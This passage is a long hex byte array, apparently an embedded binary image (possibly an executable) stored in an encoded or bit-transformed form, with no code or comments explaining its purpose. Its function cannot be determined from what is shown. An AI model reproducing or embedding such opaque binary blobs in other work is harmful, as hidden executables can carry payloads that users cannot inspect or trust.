0x08, 0xEE, 0x5C, 0x6A, 0xC0, 0x5C, 0xEB, 0x01, 0x08, 0xFE, 0x1F, 0x89, 0x5C, 0xB9, 0x08, 0xF6, 0x7D, 0x92, 0x65, 0x49, 0x16, 0x0E, 0x56, 0x38, 0x2C, 0x06, 0xAB, 0xB7, 0x2C, 0x96, 0xD2, 0x07, 0x5F, 0xAB, 0xD0, 0xBF, 0x8E, 0x5C, 0xAA, 0x21, 0x18, 0x6A, 0xC0, 0x08, 0xD6, 0x33, 0x5C, 0x20, 0x52, 0x5C, 0x6A, 0xE0, 0x08, 0xCE, 0x18, 0xE0, 0x0C, 0x4C, 0xE2, 0x21, 0xE0, 0x0B, 0x4E, 0x16, 0x20, 0x00, 0x52, 0x00, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE2, 0x00, 0x9A, 0x00, 0xCB, 0x00, 0x9B, 0x00, 0xA3, 0x00, 0x2B, 0x00, 0x6B, 0x00, 0x92, 0x00, 0x7B, 0x00, 0x7B, 0x00, 0xA3, 0x00, 0xE2, 0x00, 0x9B, 0x00, 0xCB, 0x00, 0x9B, 0x00, 0xA3, 0x00, 0x2B, 0x00, 0x6B, 0x00, 0x99, 0x00, 0x91, 0x00, 0xE2, 0x00, 0x23, 0x00, 0x93, 0x00, 0x4B, 0x00, 0xB3, 0x00, 0x2B, 0x00, 0x93, 0x00, 0x9B, 0x00, 0xE2, 0x00, 0x13, 0x00, 0x2B, 0x00, 0x2B, 0x00, 0x83, 0x00, 0x71, 0x00, 0x9B, 0x00, 0xCB, 0x00, 0x9B, 0x00, 0x00, 0x00, 0x6A, 0xD2, 0x84, 0x00, 0x18, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x70, 0xF8, 0xD5, 0x70, 0x00, 0xA5, 0x48, 0x6E, 0x09, 0xC5, 0x08, 0x62, 0x6E, 0x09, 0xA2, 0x43, 0x4B, 0x9B, 0x01, 0x83, 0x93, 0x7B, 0x3B, 0x93, 0x0B, 0x6B, 0x01, 0x1B, 0x0B, 0x73, 0x73, 0x7B, 0xA3, 0x01, 0x13, 0x2B, 0x01, 0x93, 0xAB, 0x73, 0x01, 0x4B, 0x73, 0x01, 0x22, 0x7A, 0x9A, 0x01, 0x6B, 0x7B, 0x23, 0x2B, 0x71, 0x68, 0x68, 0x50, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDE, 0x6D, 0xAB, 0x1E, 0xFC, 0x66, 0xD8, 0x84, 0xFC, 0x66, 0xD8, 0x84, 0xFC, 0x66, 0xD8, 0x84, 0xFC, 0x66, 0xD0, 0x84, 0x24, 0x66, 0xD8, 0x84, 0xB4, 0xA5, 0x44, 0x84, 0xE4, 0x66, 0xD8, 0x84, 0xB4, 0xA5, 0xC4, 0x84, 0xEC, 0x66, 0xD8, 0x84, 0xB4, 0xA5, 0x54, 0x84, 0xF4, 0x66, 0xD8, 0x84, 0x92, 0x4B, 0x1B, 0x43, 0xFC, 0x66, 0xD8, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0x2A, 0x00, 0x00, 0x62, 0x08, 0x28, 0x00, 0xEC, 0x88, 0x6D, 0x6A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x10, 0x08, 0x58, 0x08, 0x48, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF1, 0x02, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x30, 0x00, 0x08, 0x00, 0x30, 0x00, 0x08, 0x00, 0x30, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x71, 0x77, 0x00, 0x00, 0x08, 0x00, 0x00, 0x20, 0x00, 0x00, 0x20, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0x02, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x83, 0x01, 0x00, 0x00, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0xA3, 0x2B, 0xC3, 0xA3, 0x00, 0x00, 0x00, 0xE5, 0x58, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x43, 0x71, 0x93, 0x23, 0x0B, 0xA3, 0x0B, 0x00, 0x00, 0x9E, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x42, 0x71, 0x23, 0x0B, 0xA3, 0x0B, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x46, 0x4A, 0x72, 0x4A, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x30, 0x18, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x17, 0x71, 0x93, 0x2B, 0x63, 0x7B, 0x1B, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x1C, 0x67, 0x81, 0x5C, 0x2A, 0x60, 0x82, 0x47, 0xFA, 0x10, 0x00, 0x00, 0x4C, 0x2A, 0x87, 0x5C, 0x6A, 0x87, 0x5C, 0x8A, 0x20, 0x4C, 0xAA, 0x67, 0x5C, 0x2A, 0x67, 0x1C, 0x06, 0x81, 0x4C, 0x2A, 0xA7, 0x3E, 0x2A, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xE7, 0x00, 0x00, 0x00, 0x00, 0x5C, 0x6A, 0x87, 0x78, 0xB5, 0x88, 0x1C, 0xD7, 0x78, 0x78, 0x2C, 0x58, 0x10, 0x00, 0x00, 0x1C, 0xEB, 0x67, 0x00, 0x78, 0x24, 0x08, 0x10, 0x00, 0x00, 0x5C, 0x2A, 0x67, 0x78, 0xB5, 0x42, 0x10, 0x2C, 0x4E, 0x78, 0x2C, 0x97, 0x08, 0x00, 0x00, 0x5C, 0xAA, 0x67, 0x54, 0x12, 0x50, 0x44, 0x2A, 0x47, 0x04, 0xEB, 0x47, 0x50, 0xA3, 0xC8, 0x04, 0xEB, 0x47, 0x60, 0x78, 0x24, 0xC4, 0x00, 0x00, 0x00, 0x04, 0xEB, 0x47, 0x80, 0x78, 0x24, 0xC8, 0x08, 0x00, 0x00, 0x4F, 0x56, 0x08, 0x00, 0x00, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x0A, 0x10, 0x0E, 0x07, 0xC0, 0x5C, 0xAA, 0xA7, 0x78, 0xB5, 0x52, 0x18, 0x0E, 0x0F, 0x80, 0x18, 0x0E, 0x5C, 0xAA, 0xA7, 0x78, 0xB5, 0x52, 0x20, 0x0E, 0x0F, 0x40, 0x18, 0x0E, 0x5C, 0xAA, 0xA7, 0x78, 0xB5, 0x52, 0x28, 0x18, 0x0E, 0xCC, 0x4C, 0x2A, 0xC7, 0x4C, 0xAA, 0xE7, 0x5C, 0x2A, 0xC7, 0x5C, 0xAA, 0xE7, 0x8D, 0x48, 0x47, 0x5C, 0x40, 0x00, 0x00, 0x4C, 0x2A, 0x07, 0x4C, 0xAA, 0x27, 0x5C, 0xAA, 0x27, 0xD9, 0xA8, 0xA0, 0x81, 0x08, 0x00, 0xFB, 0xC8, 0xE3, 0x58, 0x5C, 0x2A, 0x07, 0xD9, 0x28, 0x80, 0x81, 0x08, 0x00, 0xBB, 0x60, 0x1C, 0xEB, 0xC7, 0x00, 0xAB, 0x09, 0x1C, 0xEB, 0xE7, 0x00, 0xAB, 0xD8, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x88, 0x1C, 0xD7, 0x51, 0xAB, 0x80, 0x5C, 0x2A, 0x67, 0x3E, 0x02, 0x60, 0x02, 0x00, 0x00, 0x00, 0x5C, 0x6A, 0xA7, 0x36, 0x08, 0x41, 0x4F, 0x0A, 0x08, 0x00, 0x00, 0x5C, 0xAA, 0xA7, 0x78, 0xB5, 0x12, 0x10, 0x0E, 0x07, 0xC0, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x8A, 0x18, 0x0E, 0x17, 0x80, 0x18, 0x16, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x8A, 0x20, 0x0E, 0x17, 0x40, 0x18, 0x16, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x8A, 0x28, 0x18, 0x16, 0xCC, 0x4C, 0x2A, 0xC7, 0x4C, 0xAA, 0xE7, 0x5C, 0x2A, 0xC7, 0x5C, 0xAA, 0xE7, 0x8D, 0x48, 0x47, 0x10, 0x40, 0x00, 0x00, 0x4C, 0x2A, 0xC6, 0x4C, 0xAA, 0xE6, 0x5C, 0x2A, 0xE6, 0xD9, 0x28, 0xA0, 0x81, 0x08, 0x00, 0xFB, 0xC8, 0xE3, 0x58, 0x5C, 0x6A, 0xC6, 0xD9, 0x68, 0x80, 0x81, 0x08, 0x00, 0xBB, 0x60, 0x1C, 0xEB, 0xC7, 0x00, 0xAB, 0x19, 0x1C, 0xEB, 0xE7, 0x00, 0xAB, 0xE8, 0x5C, 0xAA, 0xA7, 0x78, 0xB5, 0x10, 0xE9, 0x55, 0x00, 0x00, 0x00, 0xAB, 0x80, 0x5C, 0x6A, 0x67, 0x3E, 0x0A, 0x60, 0x02, 0x00, 0x00, 0x00, 0x5C, 0xAA, 0xA7, 0x36, 0x10, 0x45, 0x4F, 0xB5, 0x00, 0x00, 0x00, 0x5C, 0x2A, 0xA7, 0x78, 0xB5, 0x02, 0x10, 0x0E, 0x07, 0xC1, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x8A, 0x18, 0x0E, 0x17, 0x81, 0x18, 0x16, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x8A, 0x20, 0x0E, 0x17, 0x41, 0x18, 0x16, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x8A, 0x28, 0x18, 0x16, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x4A, 0x30, 0x1C, 0x0E, 0x01, 0x9E, 0x07, 0x5C, 0xAA, 0xA7, 0x78, 0xB5, 0x52, 0x38, 0x1C, 0x0E, 0xC0, 0x9E, 0x07, 0x5C, 0x6A, 0xA7, 0x78, 0xB5, 0x4A, 0x40, 0x1C, 0x0E, 0x80, 0x9E, 0x07, 0x5C, 0xAA, 0xA7, 0x78, 0xB5, 0x52, 0x48, 0x1C, 0x0E, 0x40, 0x9E, 0x07, 0xCC, 0x4C, 0x2A, 0xC7, 0x4C, 0xAA, 0xE7, 0x5C, 0x2A, 0xC7, 0x5C, 0xAA, 0xE7, 0x8D, 0x48, 0x47, 0x3A, 0x38, 0x00, 0x00, 0x4C, 0x2A, 0x86, 0x4C, 0xAA, 0xA6, 0x5C, 0x2A, 0xA6, 0xD9, 0x28, 0xA0, 0x81, 0x08, 0x00, 0xFB, 0xC8, 0xE3, 0x58, 0x5C, 0x6A, 0x86, 0xD9, 0x68, 0x80, 0x81, 0x08, 0x00, 0xBB, 0x60, 0x1C, 0xEB, 0xC7, 0x00, 0xAB, 0x19, 0x1C, 0xEB, 0xE7, 0x00, 0xAB, 0xE8, 0x5C, 0xAA, 0xA7, 0x78, 0xB5, 0x10, 0xE9, 0x54, 0x00, 0x00, 0x00, 0xAB, 0x80, 0x5C, 0x6A, 0x67, 0x3E, 0x0A, 0x60, 0x02, 0x00, 0x00, 0x00, 0x5C, 0xAA, 0xA7, 0x36, 0x10, 0x44, 0x1C, 0xE9, 0x40, 0x81, 0x08, 0x00, 0x00, 0xA3, 0x70, 0x5C, 0x2A, 0x60, 0x82, 0x5C, 0x6A, 0x40, 0x8A, 0xFF, 0xA8, 0x40, 0x81, 0x08, 0x00, 0x5C, 0x2F, 0xEA, 0x16, 0x40, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x8A, 0x5C, 0x2A, 0x40, 0x78, 0xF5, 0x42, 0x19, 0x5C, 0xAA, 0x40, 0x78, 0xF5, 0x12, 0x11, 0x1C, 0x06, 0x08, 0xD9, 0x46, 0xF3, 0x01, 0x53, 0x00, 0x43, 0xA8, 0xDA, 0x00, 0x00, 0x43, 0x06, 0xC8, 0x08, 0x00, 0x43, 0x84, 0xC8, 0x08, 0x00, 0xFF, 0xA8, 0x20, 0x01, 0x08, 0x00, 0x3E, 0x2A, 0xE7, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x38, 0x3E, 0x2A, 0xE7, 0x08, 0x00, 0x00, 0x00, 0x5C, 0x6A, 0x40, 0x5C, 0x0A, 0x03, 0x5C, 0x2F, 0xEA, 0x16, 0x20, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x1C, 0x67, 0xC1, 0x3E, 0x2A, 0x87, 0x00, 0x00, 0x00, 0x00, 0x99, 0x06, 0x33, 0x4C, 0x2A, 0x47, 0x99, 0x4E, 0x4C, 0x6A, 0x57, 0x33, 0x4C, 0x6A, 0x77, 0x3E, 0x2A, 0x86, 0x00, 0x00, 0x00, 0x00, 0x99, 0x96, 0x4C, 0xAA, 0xA6, 0x4C, 0xAA, 0xC6, 0x4C, 0xAA, 0xE6, 0x4C, 0xAA, 0x07, 0x4C, 0xAA, 0x27, 0x3E, 0x2A, 0x46, 0x00, 0x00, 0x00, 0x00, 0x99, 0x06, 0x4C, 0x2A, 0x66, 0x3E, 0x2A, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xE7, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xEB, 0x40, 0x00, 0xA3, 0x30, 0x1C, 0xEB, 0x60, 0x00, 0xAB, 0x50, 0xC5, 0x08, 0x00, 0x00, 0x06, 0x4F, 0x50, 0x08, 0x00, 0x00, 0x43, 0x82, 0xD0, 0x08, 0x00, 0x6C, 0x6A, 0x47, 0x8A, 0xFF, 0xA8, 0x21, 0x01, 0x08, 0x00, 0x3E, 0x2A, 0x86, 0xC0, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xA6, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xE6, 0x02, 0x00, 0x00, 0x00, 0x6C, 0xAA, 0x47, 0x4C, 0xAA, 0xC6, 0x3E, 0x2A, 0x07, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0x27, 0x00, 0x00, 0x00, 0x00, 0x53, 0x00, 0x53, 0x00, 0x53, 0x02, 0x53, 0x08, 0x53, 0x18, 0x43, 0x04, 0x00, 0x00, 0x00, 0x53, 0x00, 0x6C, 0x2A, 0x46, 0x82, 0x6C, 0x6A, 0x86, 0x8A, 0x53, 0x18, 0x6C, 0xAA, 0xC7, 0x92, 0xFF, 0xA8, 0x01, 0x01, 0x08, 0x00, 0x4C, 0x2A, 0x87, 0x5C, 0x2A, 0x87, 0x0E, 0x47, 0xF0, 0x1C, 0xC7, 0x18, 0xAB, 0xD8, 0x5C, 0x6A, 0x87, 0x8A, 0x43, 0x01, 0xD0, 0x08, 0x00, 0x47, 0x25, 0x28, 0x00, 0x00, 0x1C, 0x26, 0x40, 0x5C, 0x2A, 0x87, 0x4F, 0x34, 0x00, 0x00, 0x00, 0x5F, 0xE1, 0x53, 0x00, 0x6C, 0xAA, 0xE7, 0x92, 0x53, 0x00, 0x0D, 0xC0, 0x01, 0x08, 0x00, 0x5C, 0x40, 0x8A, 0x43, 0x00, 0x00, 0x00, 0x80, 0x5C, 0xAA, 0xC7, 0x92, 0xFF, 0xA8, 0xA0, 0x01, 0x08, 0x00, 0x4C, 0x2A, 0x87, 0x5C, 0x2A, 0xC7, 0x82, 0xFF, 0xA8, 0x80, 0x01, 0x08, 0x00, 0x5C, 0x6A, 0x87, 0x0E, 0x4F, 0xF0, 0x1C, 0xCF, 0x18, 0xAB, 0x28, 0x5C, 0x2A, 0x87, 0x5F, 0x42, 0x5C, 0xAA, 0xE7, 0x5C, 0x12, 0x20, 0x82, 0xFF, 0xA8, 0x60, 0x01, 0x08, 0x00, 0x4C, 0x2A, 0xA7, 0x5C, 0x6A, 0xE7, 0xFF, 0xA8, 0x40, 0x01, 0x08, 0x00, 0x1C, 0xEB, 0xA7, 0x00, 0xAB, 0xA0, 0x43, 0x87, 0xC8, 0x08, 0x00, 0x47, 0x91, 0x28, 0x00, 0x00, 0x1C, 0x26, 0x20, 0xC5, 0x06, 0x00, 0x00, 0x06, 0x5F, 0xA8, 0x5C, 0x6A, 0x40, 0x5C, 0xAA, 0xA7, 0x5C, 0x12, 0x40, 0x1C, 0x06, 0x81, 0x3C, 0x40, 0x5C, 0xAA, 0x60, 0x4C, 0x50, 0x99, 0x06, 0x5C, 0x2F, 0xEA, 0x16, 0x40, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x1C, 0x67, 0x01, 0x3E, 0x2A, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x99, 0x06, 0x4C, 0x2A, 0xC7, 0x53, 0x00, 0x53, 0x00, 0x6C, 0x6A, 0x07, 0x8A, 0xFF, 0xA8, 0xA1, 0x01, 0x08, 0x00, 0x6C, 0xAA, 0xA7, 0x92, 0x6C, 0x2A, 0x07, 0x82, 0x6C, 0x6A, 0xA0, 0x8A, 0x5C, 0xAA, 0xE0, 0x92, 0x5C, 0x2A, 0x80, 0x82, 0x5C, 0x6A, 0x40, 0x8A, 0x78, 0xB5, 0xAA, 0x60, 0x92, 0xFF, 0xA8, 0x81, 0x01, 0x08, 0x00, 0x4C, 0x2A, 0xE7, 0x1C, 0xEB, 0xE7, 0x00, 0xAB, 0x38, 0xC5, 0xD4, 0x00, 0x00, 0x06, 0x5F, 0x99, 0x5C, 0xAA, 0xE7, 0x5C, 0x6A, 0x40, 0xFF, 0xA8, 0x61, 0x01, 0x08, 0x00, 0x4C, 0x2A, 0x87, 0x0C, 0xEB, 0x87, 0x18, 0x08, 0x00, 0x00, 0xAB, 0xC0, 0x53, 0x00, 0x53, 0x00, 0x53, 0x00, 0x53, 0x00, 0x6C, 0x2A, 0x07, 0x82, 0xFF, 0xA8, 0x41, 0x01, 0x08, 0x00, 0x5C, 0x6A, 0xA7, 0x4C, 0x6A, 0x87, 0x5C, 0x2A, 0x87, 0x5C, 0x2F, 0xEA, 0x16, 0xC0, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x1C, 0x67, 0x03, 0x99, 0x06, 0x33, 0x4C, 0x2A, 0xA5, 0x99, 0x4E, 0x4C, 0x6A, 0xB5, 0x33, 0x4C, 0x6A, 0xD5, 0x3E, 0x2A, 0xA6, 0x00, 0x00, 0x00, 0x00, 0x99, 0x96, 0x4C, 0xAA, 0xC6, 0x4C, 0xAA, 0xE6, 0x4C, 0xAA, 0x07, 0x4C, 0xAA, 0x27, 0x4C, 0xAA, 0x47, 0x3E, 0x2A, 0x45, 0x00, 0x00, 0x00, 0x00, 0x99, 0x06, 0x4C, 0x2A, 0x65, 0x3E, 0x2A, 0x87, 0x00, 0x00, 0x00, 0x00, 0x99, 0x4E, 0x4C, 0x6A, 0xA7, 0x3E, 0x2A, 0xE5, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0x46, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0x26, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0x66, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x99, 0x96, 0x4C, 0xAA, 0xE7, 0x3E, 0x2A, 0x86, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0x06, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0x87, 0x03, 0xCB, 0xF7, 0xFF, 0x3E, 0x2A, 0xA7, 0xFF, 0xFF, 0xFF, 0xFF, 0x6C, 0x2A, 0x87, 0x82, 0x53, 0x00, 0x53, 0x00, 0xFF, 0xA8, 0xA2, 0x01, 0x08, 0x00, 0x3E, 0x2A, 0xA6, 0xC0, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0x07, 0x02, 0x10, 0x00, 0x00, 0x6C, 0x6A, 0xA5, 0x4C, 0x6A, 0xE6, 0x3E, 0x2A, 0x27, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0x47, 0x00, 0x00, 0x00, 0x00, 0x43, 0x83, 0xD8, 0x08, 0x00, 0x6C, 0xAA, 0xA5, 0x92, 0xFF, 0xA8, 0x21, 0x01, 0x08, 0x00, 0x6C, 0x2A, 0xA6, 0x82, 0xFF, 0xA8, 0x82, 0x01, 0x08, 0x00, 0x4C, 0x2A, 0x46, 0x43, 0x87, 0xD0, 0x08, 0x00, 0x6C, 0x6A, 0xA5, 0x8A, 0xFF, 0xA8, 0x21, 0x01, 0x08, 0x00, 0x6C, 0xAA, 0xA6, 0x92, 0x53, 0x10, 0x6C, 0x2A, 0xE5, 0x82, 0xFF, 0xA8, 0x62, 0x01, 0x08, 0x00, 0x4C, 0x2A, 0x46, 0x1C, 0xEB, 0x46, 0x00, 0xE3, 0xA1, 0x43, 0x07, 0xD0, 0x08, 0x00, 0x6C, 0x6A, 0xA5, 0x8A, 0xFF, 0xA8, 0x21, 0x01, 0x08, 0x00, 0x53, 0xB0, 0x43, 0x06, 0xD0, 0x08, 0x00, 0x53, 0x08, 0x53, 0x00, 0x6C, 0xAA, 0xA5, 0x92, 0x5C, 0x2A, 0xE5, 0x82, 0xFF, 0xA8, 0x42, 0x01, 0x08, 0x00, 0x5C, 0x6A, 0xE5, 0x8A, 0xFF, 0xA8, 0x80, 0x01, 0x08, 0x00, 0x5F, 0x28, 0x4F, 0x62, 0xFF, 0xFF, 0xFF, 0x43, 0x05, 0xD0, 0x08, 0x00, 0x6C, 0xAA, 0xA5, 0x92, 0xFF, 0xA8, 0x21, 0x01, 0x08, 0x00, 0x53, 0x00, 0x53, 0x00, 0x53, 0x01, 0x53, 0x18, 